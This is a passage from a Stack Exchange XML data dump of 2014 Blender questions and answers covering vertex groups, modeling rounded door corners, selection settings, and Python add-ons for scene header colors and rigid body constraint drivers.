context.scene.presets&#xA;        selected_actions = []&#xA;        for name,data in inspect.getmembers(e):&#xA;            if name[:7] == &quot;action_&quot;:&#xA;                if data == True:&#xA;                    selected_actions.append(e.actions[name])&#xA;&#xA;        # Export the ES3D&#xA;        test = ES3D()&#xA;        test.convert2es(context, selected_actions, self.filepath)&#xA;&#xA;        # All done&#xA;        return{'FINISHED'}&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="5830" LastActivityDate="2014-08-30T10:15:57.907" Title="How to create toggle buttons in blender GUI from dynamic list of items?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ClosedDate="2014-09-03T14:03:22.690" ContentLicense="CC BY-SA 3.0" />
  <row Id="15410" PostTypeId="1" AcceptedAnswerId="15499" CreationDate="2014-08-30T11:44:02.737" Score="4" ViewCount="27975" Body="&lt;p&gt;I have this mesh and armature found in this &lt;a href=&quot;https://www.dropbox.com/s/1v4hopkgethsq5x/test%20%281%29.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;. What I want to do is to connect the bones with the created vertex groups. And I don't want to use automatic weighting option as this will create different and new vertex groups. I want to use the vertex groups I manually created in the attached blend file.&#xA;Please if anyone could please advise.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2016-08-30T16:24:32.987" Title="How to connect a mesh vertex groups with an armature bones" Tags="&lt;armature&gt;&lt;bones&gt;&lt;vertex-groups&gt;&lt;weight-painting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15411" PostTypeId="1" AcceptedAnswerId="15421" CreationDate="2014-08-30T12:25:04.243" Score="5" ViewCount="2828" Body="&lt;p&gt;I am trying to create sci-fi doors similar to those that Dan Brown creates below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MdZKu.png&quot; alt=&quot;sci-fi door&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a few methods, the closest I can get to the image is using a solidify modifier and then making edge loops and cutting away faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method only gives me curves on the outer edges, I would like to have the inner corners curved also, cannot seem to find a way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUvNS.png&quot; alt=&quot;my attempt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of any ideas to try?&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-08-30T17:07:56.930" Title="How to model rounded extrusions" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15412" PostTypeId="2" ParentId="15107" CreationDate="2014-08-30T12:25:07.293" Score="1" Body="&lt;p&gt;In edit mode, you see the three boxes for either putting select mode into 'vertex', 'edge', or 'face'?  Next to that is a button called 'Limit selection to visible'.&lt;br&gt;&#xA;When it is 'selected' or darker, selecting parts of the mesh will no longer select what is behind the cursor on the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See pic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KkT7p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="207" LastEditorUserId="241" LastEditDate="2014-08-30T13:28:44.037" LastActivityDate="2014-08-30T13:28:44.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15413" PostTypeId="1" CreationDate="2014-08-30T12:28:07.040" Score="1" ViewCount="369" Body="&lt;p&gt;I'm thinking weight paint but maybe I mean Dynamic Paint or even something else I'm unaware of.  I have cell fractured a long thin cylinder which I am dropping onto a plane using Blender 2.71 Render (not BGE).  It has been rotated a little so that its contact with the plane starts at the lowest shard and works its way to the top.  Of course, the whole thing simply falls apart on first contact.  So, I use rigid body constraints and this works fine keeping it together.  What I want, however, is a progressive shatter as the cylinder shards come into contact.  In other words, I want the shards which have not yet reached the plane to stay intact. Keyframing this one shard at a time is tedious, prone to error, and all but impossible when there are hundreds of shards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use weight paint or anything else to control the enable function (or any other property or function) associated with the constraints to switch from enabled to not enabled as a function of time (or frame number)(in other words, as a function of color)?&lt;/p&gt;&#xA;" OwnerUserId="5799" LastActivityDate="2015-06-06T21:43:42.713" Title="Can I use Weight Paint to Control Animation Properties?" Tags="&lt;animation&gt;&lt;weight-painting&gt;&lt;keyframes&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15414" PostTypeId="2" ParentId="15410" CreationDate="2014-08-30T13:25:09.157" Score="0" Body="&lt;p&gt;I'm sure there's a better way (and I usually create the groups after parenting) is to parent the bones with automatic weights, then go into edit mode, select a vertex groups vertices, then go to the corresponding bone and assign those vertices (removing any that were in the bone group previously). Or you could remove the automatic bone groups and rename your own vertex groups Bone, Bone.001, Bone.002, and so on. Or, you could parent the bones with empty groups and then copy from one group to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure there's a setting, however, in the mess of buttons and sliders that changes the bone groups.&lt;/p&gt;&#xA;" OwnerUserId="5609" LastActivityDate="2014-08-30T13:25:09.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15416" PostTypeId="1" AcceptedAnswerId="15424" CreationDate="2014-08-30T14:22:08.097" Score="4" ViewCount="383" Body="&lt;p&gt;I am trying to write a script to set Interface colours for individual scenes. When I switch scenes in the Info bar drop down menu I want to change the Info Bar background colour. This gives better feedback for scene swapping/tracking.&#xA;So far I've got &lt;code&gt;bpy.context.user_preferences.themes[0].info.space.header = (1,0,0)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I guess I need to create an open list of scenes that I can append later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then allocate the spectrum of colours to it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Not sure I can create a UI to allocate colours to scenes, so I'll have to bump the values in increments instead.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But first I'm stuck on calling the colour change (I considered iterating a bunch of themes and switching them as needed). At the BA forum it was suggested that the scene change is a frame change event but I'm not sure how to separate that from any other frame changes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully if I can set up colours for the info bar I could tie them to node scene inputs.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastEditorUserId="12" LastEditDate="2014-08-30T21:09:19.020" LastActivityDate="2015-06-07T19:31:46.037" Title="Can I change Info bar colour on scene change" Tags="&lt;python&gt;&lt;interface&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15418" PostTypeId="2" ParentId="15391" CreationDate="2014-08-30T14:34:07.350" Score="3" Body="&lt;p&gt;I got feedback from Bassam Kurdali on Blender's bf-animsys mailing lists. Here is his slightly edited answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &quot;bind pose&quot; in blender. There is just a rest position and a pose. Armature deform happens based on the rest position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the only exact solution to this problem is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create your 'bind' pose&lt;/li&gt;&#xA;&lt;li&gt;duplicate object to a new armature&lt;/li&gt;&#xA;&lt;li&gt;apply the pose as new rest pose on the new armature&lt;/li&gt;&#xA;&lt;li&gt;Use the new armature as your modifier target&lt;/li&gt;&#xA;&lt;li&gt;Constrain the new armature to the old and use the old one as the control rig, if you desire rest pose as T pose.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;One more remark: It is not possible to use the Pose library as temporary storage for the original rest pose, because the Pose library stores poses relative to the current rest pose. If the rest pose changes, the poses in the library will no longer result in the same pose as before.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-08-30T14:34:07.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15419" PostTypeId="2" ParentId="15411" CreationDate="2014-08-30T15:06:30.473" Score="3" Body="&lt;p&gt;One way is to delete the corner except for the vertices located nearest the green line that create the profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fJ4at.png&quot; alt=&quot;modified original photo&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, place the 3D cursor where a line through the vertices at each end of the corner intersect near the red X, set the pivot point to the 3D cursor, select and extrude the vertices near the green line and rotate the extruded vertices a short distance around the 3D cursor, and repeat the process as needed enough times to get the look of the corner you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded an annotated screen shot &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dCZ2D.png&quot; alt=&quot;annotated screen shot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from a &lt;a href=&quot;https://www.dropbox.com/s/4a5wpt89s6boa0l/corneranswer.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend file&lt;/a&gt; in which the default cube is scaled down along the z axis, and offset along the x axis (1) to represent the top of the door, and the offset cube is duplicated (Shift Dkey) around the z axis to represent the the side of the door (2). The end of the top element is duplicated (using SHIFT Dkey), and moved a short distance to form one end of the corner (3), and the process repeated with the side to form the other end of the corner (4). The x co-ordinate of the newly created end of the top of the corner, and the y co-ordinate of the newly created end of the side of the corner, are used to create a vertex at the center of the arcs of the corner which is used to locate 3D cursor. Locate  the 3D cursor at this vertex, and set it to e the pivot point (5). select all of the vertices of one end of the corner (3), extrude them, and rotate the extruded vertices with rotation constrained to the z axis of the pivot point (6) several times to create a smooth radius on the inner and outer sides of the corner piece. Create faces between the last extrusion and the other end of the corner (7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternate to setting the 3D cursor at the center point of the two arcs forming the corner of the door, one could select the center point itself, and use that as the picvot point by setting the &quot;active element&quot; as the pivot point. However, sometimes extrusion deselects the active blender element, necessitating reselecting it before the next extrusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's outside the scope of your question, but you only need to make this mesh once. Once you've made it, you can duplicate it, and move and rotate it to place it at the other three corners, or you can use a modifier (mirror or array) to achieve the same thing.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-08-30T16:08:00.640" LastActivityDate="2014-08-30T16:08:00.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15421" PostTypeId="2" ParentId="15411" CreationDate="2014-08-30T17:07:56.930" Score="5" Body="&lt;p&gt;Well thanks to brasshat answer, I played around a bit and found one way to achieve this, there may be a better way but this certainly gives decent results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the bridge edge loops tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/is34u.gif&quot; alt=&quot;bridge&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2014-08-30T17:07:56.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15424" PostTypeId="2" ParentId="15416" CreationDate="2014-08-30T20:53:46.690" Score="7" Body="&lt;p&gt;Cool idea, I wrote this addon for me just now and I triggered the Header draw event. You can copy it from below or from here: &lt;a href=&quot;http://www.pasteall.org/58855/python&quot; rel=&quot;nofollow&quot;&gt;scene_colored_header.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Updated to the newer Version. Don't use the old version, it generates a continuous redraw of the Header, wich I don' noticed. leads to cpu inceasement&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the updated Version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    #scene_colored_header.py&#xA;bl_info = {&#xA;           &quot;name&quot;: &quot;Colored Header for each scene&quot;,&#xA;           &quot;author&quot;: &quot;Leon95, Idea: 3pointedit&quot;,&#xA;           &quot;version&quot;: (1, 1),&#xA;           &quot;blender&quot;: (2, 68, 0),&#xA;           &quot;location&quot;: &quot;Properties &amp;gt; Scene Tab &amp;gt; Scene Panel &amp;gt; Display Color&quot;,&#xA;           &quot;description&quot;: &quot;Define a Header Color for every scene and display it in the Header&quot;,&#xA;           &quot;category&quot;: &quot;Scene&quot;&#xA;           }&#xA;&#xA;import bpy&#xA;&#xA;def_color = bpy.props.FloatVectorProperty(size = 3,min = 0.0,max = 1.0,&#xA;    default=bpy.context.user_preferences.themes[0].info.space.header.copy())&#xA;def_color = bpy.context.user_preferences.themes[0].info.space.header.copy()&#xA;&#xA;&#xA;&#xA;def ui_properties_costum_header_color(self, context):&#xA;    row = self.layout.row()&#xA;    row.prop(context.scene, &quot;headerColor&quot;)&#xA;&#xA;def ui_info_header_refresh(self, context):&#xA;    #assign the property to the header theme every time it is redrawn&#xA;    l_co=context.window_manager.lastHeaderColor&#xA;    ch = context.user_preferences.themes[0].info.space.header&#xA;    cs = context.scene.headerColor&#xA;    #check, if reassignment is needed, since  assigning a color leads to redraw&#xA;    #(which the causes some kind of stack overflow)&#xA;    if not (round(l_co[0],3) == round(cs[0],3) and round(l_co[1],3) == round(cs[1],3) and round(l_co[2],3) == round(cs[2],3)):&#xA;        bpy.context.user_preferences.themes[0].info.space.header = bpy.context.scene.headerColor&#xA;    context.window_manager.lastHeaderColor=[cs[0],cs[1],cs[2]]&#xA;&#xA;&#xA;def register():&#xA;    co = bpy.context.user_preferences.themes[0].info.space.header.copy()&#xA;    bpy.types.WindowManager.lastHeaderColor=bpy.props.FloatVectorProperty(size = 3,min = 0.0,max = 1.0)&#xA;    bpy.types.Scene.headerColor = bpy.props.FloatVectorProperty(&#xA;                                     name = &quot;Display Color&quot;,&#xA;                                     subtype = &quot;COLOR&quot;,&#xA;                                     size = 3,&#xA;                                     min = 0.0,&#xA;                                     max = 1.0,&#xA;                                     update = ui_info_header_refresh,&#xA;                                     default = co)&#xA;&#xA;    bpy.types.SCENE_PT_scene.append(ui_properties_costum_header_color)&#xA;    bpy.types.INFO_HT_header.append(ui_info_header_refresh)&#xA;    #bpy.app.handlers.frame_change_post.append(ui_info_header_refresh)&#xA;&#xA;    #reassigment forces redraw&#xA;    bpy.context.user_preferences.themes[0].info.space.header = bpy.context.user_preferences.themes[0].info.space.header&#xA;&#xA;def unregister():&#xA;    bpy.types.SCENE_PT_scene.remove(ui_properties_costum_header_color)&#xA;    bpy.types.INFO_HT_header.remove(ui_info_header_refresh)&#xA;    #bpy.app.handlers.frame_change_post.remove(ui_info_header_refresh)&#xA;    bpy.context.user_preferences.themes[0].info.space.header = [def_color[0],def_color[1],def_color[2]]&#xA;    bpy.context.window_manager.lastHeaderColor=[0,0,0]&#xA;    del bpy.types.WindowManager.lastHeaderColor&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2015-06-07T19:31:46.037" LastActivityDate="2015-06-07T19:31:46.037" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15426" PostTypeId="1" CreationDate="2014-08-31T02:39:47.677" Score="1" ViewCount="285" Body="&lt;p&gt;I have created a custom node type, using the blender custom_nodes.py template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made a custom node, with a IntProperty with ANIMATABLE set as an option of the IntProperty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can insert a keyframe, and that works fine... and the fcurve is showing up under:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.node_groups['NodeTree'].animation_data.action.fcurves[0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the 'NodeTree' animation data does not show up inside the dopesheet, or the fcurve editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there something that i have to do to make my custom node tree's animation data to show up in the dopesheet and fcurve editor? &lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="29" LastEditDate="2014-08-31T04:14:19.670" LastActivityDate="2014-12-30T10:57:53.503" Title="How to make custom node type animation data show in dope sheet" Tags="&lt;python&gt;&lt;dopesheet&gt;&lt;pynodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15427" PostTypeId="2" ParentId="6173" CreationDate="2014-08-31T04:06:12.557" Score="1" Body="&lt;p&gt;Updated with the second part to the solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you click &quot;run script,&quot; Python errors are reported in the console.  Blender API errors, however, are not.  If you have Blender API errors before the line where your call to print() happens, then your code never reaches that line.  Blender and Python both quietly let this happen without error or warning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tick the &quot;register&quot; box in the text editor, save, and click &quot;run script&quot;.  Your script class should have a bl_label field set to a string.  Go to the viewport, press spacebar, and type that string.  When it shows up in the results, click it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your Blender API errors will show themselves.  Correct your code, and when your print() call is reached, it will print to the &lt;em&gt;system&lt;/em&gt; console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm shocked that this doesn't seem to appear anywhere on threads about this yet, especially since differences between types such as BMesh and Mesh render show-stopping API errors like this &lt;em&gt;really&lt;/em&gt; easy to make.&lt;/p&gt;&#xA;" OwnerUserId="5840" LastEditorUserId="5840" LastEditDate="2014-08-31T07:46:33.073" LastActivityDate="2014-08-31T07:46:33.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15428" PostTypeId="2" ParentId="15413" CreationDate="2014-08-31T04:47:48.553" Score="2" Body="&lt;p&gt;I'm sure you could do this with weight paint, however, I think it might be overkill. Weight paint and dynamic paint is per vertex, and bullet collision settings are per object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can animate the constraint Enabled variable. and you can also add a driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will work on an object I fractured using  Cell fracture, the object named &quot;Cube&quot;. Then I used the Bullet Constraint tools 'Single constraint' to make the constraints.&#xA;This code won't work if you have used Empties to constrain the objects together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/14364171/constraint_control.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to a blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press alt A, you will see the box stays together.&#xA;Run the script (alt P in textblock) and then animate again. You will see the box stays together, until the plane moves above each object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object_name = &quot;Cube&quot;&#xA;&#xA;import bpy&#xA;&#xA;for obj in bpy.data.objects:&#xA;    if  object_name+&quot;_cell&quot; in obj.name:&#xA;        driver = obj.rigid_body_constraint.driver_add('enabled')&#xA;        driver.driver.expression=&quot;this_obj&amp;lt;mask_obj&quot;&#xA;        driver_variable = driver.driver.variables.new()&#xA;        driver_variable.name = &quot;this_obj&quot;&#xA;        driver_variable.type = 'TRANSFORMS'&#xA;        driver_variable.targets[0].transform_type = 'LOC_Z'&#xA;        driver_variable.targets[0].id = driver_variable.id_data    &#xA;&#xA;        driver_variable = driver.driver.variables.new()&#xA;        driver_variable.name = &quot;mask_obj&quot;&#xA;        driver_variable.type = 'TRANSFORMS'&#xA;        driver_variable.targets[0].transform_type = 'LOC_Z'&#xA;        driver_variable.targets[0].id = bpy.data.objects['mask']  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4lTL.png&quot; alt=&quot;drivers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorDisplayName="user12855" LastEditDate="2015-06-06T21:43:42.713" LastActivityDate="2015-06-06T21:43:42.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15429" PostTypeId="2" ParentId="1291" CreationDate="2014-08-31T11:16:24.817" Score="-2" Body="&lt;p&gt;In Object Mode, first select the Object you want to change the Origin.&#xA;Then click &lt;em&gt;Manipulate Center points&lt;/em&gt; (or &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;,&lt;/kbd&gt;) It is the 3rd button on the right from the &lt;em&gt;Object mode&lt;/em&gt; in the 3D header.&lt;br&gt;&#xA;Switch to Edit Mode, if your Object is not selected, press &lt;kbd&gt;A&lt;/kbd&gt; or &lt;kbd&gt;A&lt;/kbd&gt; twice to select everything.&lt;br&gt;&#xA;Move the selected object with the 3D manipulator. It works now relative to the center point.&#xA;When you are done, go back to Object Mode and uncheck &lt;em&gt;Manipulate Center points&lt;/em&gt; (or &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;,&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="5843" LastEditorUserId="5843" LastEditDate="2014-09-01T08:50:13.057" LastActivityDate="2014-09-01T08:50:13.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15430" PostTypeId="1" CreationDate="2014-08-31T12:31:03.703" Score="0" ViewCount="28" Body="&lt;p&gt;is there a way to make 2.7x version of blender to display numbers-data in fields like x/y/z etc. like in 2.6x version of blender?  Make all data appeal at center, not like in 2.7 new style, when for example in location tabs “x” is always at the left and numeric value is at the right? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5845" LastActivityDate="2014-08-31T12:31:03.703" Title="How to switch data display in UI of 2.7 back to 2.6 style?" Tags="&lt;interface&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-31T19:52:03.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="15431" PostTypeId="1" AcceptedAnswerId="15432" CreationDate="2014-08-31T13:58:20.793" Score="3" ViewCount="3482" Body="&lt;p&gt;Hi guys I'm new to Blender, and have this question about selecting vertexes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to select all vertexes within a rectangle region by drawing the rectangle with mouse after pressing &lt;kbd&gt;B&lt;/kbd&gt; in Top View, but I actually ended up with only selecting the vertexes that are closer to me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;After pressing &lt;kbd&gt;B&lt;/kbd&gt; I selected multiple vertexes with drawing a rectangle:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NHQvQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I deleted them with &lt;kbd&gt;X&lt;/kbd&gt;, but I see some in that region actually still exist:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/757ha.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can see I actually only selected the upper 2 which were closer to me:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XgGrQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So is there a way to really do this? I'm using Blender 2.71, but I saw Jonathan could do it in this video (but he must be using an older version): &lt;a href=&quot;http://cgcookie.com/archive/modeling-a-shipping-container/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CGCookie tutorial: Modeling a Shipping Container&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5738" LastEditorUserId="25" LastEditDate="2015-11-22T21:44:09.160" LastActivityDate="2015-11-22T21:44:09.160" Title="How to select all the vertexes with border select?" Tags="&lt;modeling&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15432" PostTypeId="2" ParentId="15431" CreationDate="2014-08-31T14:33:38.377" Score="2" Body="&lt;p&gt;That is the regular behaviour of Blender. By default &quot;Limit selection to visible (clipped with depth buffer)&quot; is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you disable the button I marked in the screenshot, select the vertices again, all four vertices will be selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Rx18.jpg&quot; alt=&quot;limit_selection_to_visible&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1229" LastActivityDate="2014-08-31T14:33:38.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15433" PostTypeId="1" AcceptedAnswerId="15436" CreationDate="2014-08-31T15:09:28.020" Score="4" ViewCount="572" Body="&lt;p&gt;When I extrude a face in an angle, the thickness is different according to the angle that the face is extruded. Is there a way to have faces with same thickness? Here is what I mean - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/8VOts.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue lines are showing the lenght from one edge of the face to the other. They are all the same lenghts. I can acomplish this only by using tricks and it takes me time to do it. When I do it traditionally, I would rotate the edges on every extrusion and of course, the faces are no equal - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/QgAtc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I have to use to achieve equal thickness of faces?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-31T17:38:57.733" LastActivityDate="2014-08-31T17:38:57.733" Title="Is there a way to have faces with equal thickness?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15434" PostTypeId="1" CreationDate="2014-08-31T15:52:43.830" Score="2" ViewCount="428" Body="&lt;p&gt;I keep happening across information that seems blatantly wrong, and it makes me wonder if error messages are terrible or if it's the documentation.  Here's an example:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;However, while the script runs you may want to access the updated values.&lt;/p&gt;&#xA;&lt;p&gt;This can be done by calling bpy.types.Scene.update after modifying values which recalculates all data that is tagged to be updated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is quoted from the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_62_0/info_gotcha.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Gotchas&amp;quot; page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Upon following that advice...&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;AttributeError: type object 'Scene' has no attribute 'update'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Just to be clear, the documentation authors &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_62_0/bpy.types.Scene.html#bpy.types.Scene.update&quot; rel=&quot;nofollow noreferrer&quot;&gt;seem pretty convinced that it does&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Most of the bad information I've found so far comes from forum posts some place where a user just guessed at how to do something off the top of their head.  However, the official docs aren't really helpful for practical tasks, and seem to have bad information lurking about as well.&lt;/p&gt;&#xA;" OwnerUserId="5840" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-08-31T17:54:20.540" Title="What is the best Blender Python API reference?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15435" PostTypeId="1" AcceptedAnswerId="15438" CreationDate="2014-08-31T16:42:05.360" Score="2" ViewCount="880" Body="&lt;p&gt;I'm fairly new to Blender, but I hope there's a simple solution to this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Cycles I'm trying to make a composite of (soon-to-be) animated objects and video footage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used nodes to apply &lt;em&gt;transparent&lt;/em&gt; and &lt;em&gt;translucent&lt;/em&gt; shaders to the four circle meshes (UV unwrapped with textures) and put in a simple cube for comparison's sake. (An emission shader has also been applied to the largest, yellow circle.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the 3D view set to &lt;em&gt;solid&lt;/em&gt; shading, with a background image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wVAHa.jpg&quot; alt=&quot;viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the rendered view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lv4sb.jpg&quot; alt=&quot;rendered image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is everything so &quot;ghostly&quot; and pale? No shader has been applied to the cube, and the circles appear much dimmer than I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this? How can I make the circles appear more &quot;solid&quot; without losing the transparency and translucency I need? It would be ideal if it could look more like the preview in the viewport shading,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yjw8c.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I hear the viewport shading result and the final render result are never the same...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cycles material&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xlS78.jpg&quot; alt=&quot;Object mesh 